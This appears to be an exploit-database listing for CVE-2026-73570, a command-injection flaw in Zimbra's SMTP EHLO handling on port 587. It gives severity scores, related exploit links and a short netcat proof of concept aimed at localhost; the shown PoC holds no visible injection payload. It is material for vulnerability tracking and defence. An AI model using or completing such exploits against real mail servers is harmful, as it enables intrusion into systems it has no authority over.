Exploit for OS Command Injection in Synacor Zimbra Collaboration Suite

githubexploit · 2026-08-24

Description

OS Command Injection in Synacor Zimbra Collaboration Suite via EHLO on SMTP port 587.

Affected Synacor Zimbra Collaboration Suite versions

Synacor Zimbra Collaboration Suite< 10.1.20

All known vulnerabilities by product

Zimbra Collaboration

CVSS 8.9 for CVE-2026-73570

8.9

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Attack Vector:NETWORK

Attack Complexity:HIGH

Privileges Required:NONE

User Interaction:NONE

Scope:CHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:LOW

Working code

33%confidence this exploit runs

Based on 2 file(s) in the source

EPSS Score

1.5%higher than 72.4% of all CVEs

Updated 2026-08-25

Exploit Details

Modified:2026-08-24 12:05

Last Seen:2026-08-24 12:06

Reporter:BiuTrap

Last commit:2026-08-24

Tags

Zimbra Collaboration SuiteOS Command InjectionSMTP EHLOport 587CVE-2026-73570

Other exploits for CVE-2026-73570

Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite

2026-08-26 gabrielunknownGITHUB

Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite

2026-08-25 jishino567GITHUB

2026-08-25 KitPloitKITPLOIT

Exploit for CVE-2026-73570

2026-08-21 HORKimhabGITHUB

2026-08-21 KitPloitKITPLOIT

2026-08-13 mitreUNKNOWN

Exploit Code

README12 lines

## https://sploitus.com/exploit?id=C75D0338-3A26-5292-9380-30AF122F3CC0
# CVE-2026-73570
CVE-2026-73570 PoC

[More](https://trap.biu.life/search?q=method%3Dtcp%3A587%20%26%26%20request%3D%5EEHLO%20%26%26%20request%3DService%20status%20change&t=all)

```
echo 'EHLO mx-test.invalid
MAIL FROM:
RCPT TO:
QUIT\r\n' | nc 127.0.0.1 587
```